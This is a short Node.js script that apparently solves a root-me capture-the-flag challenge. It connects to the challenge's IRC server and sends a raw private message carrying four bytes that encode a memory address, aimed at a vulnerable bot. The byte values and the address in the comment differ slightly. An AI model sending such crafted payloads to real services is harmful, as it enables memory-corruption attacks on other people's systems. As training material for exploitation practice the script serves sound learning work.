irc-bot-bypass-encoding.js

#!/usr/local/bin/node

var irc = require('irc')
var me = 'me'
var channel = '#chann'
var dest = 'dest'

var data = '\x24\xb1\x04\x08' // 0x804b120

var client = new irc.Client('irc.root-me.org', me, { 
  channels: [channel]
})

client.addListener('registered', function (message) { 
  console.log('registered', message)
  client.addListener('pm', function (from, to, message) { 
    console.log('message', message)
  })

  client.addListener('error', function (message) { 
    console.log('error: ', message)
  })

  setTimeout(function () { 
    console.log('emit')
    client.conn.write('PRIVMSG ' + dest + ' ')
    client.conn.write(Buffer.from(data, 'ascii'))
    client.conn.write('\r\n')
  }, 5000)
})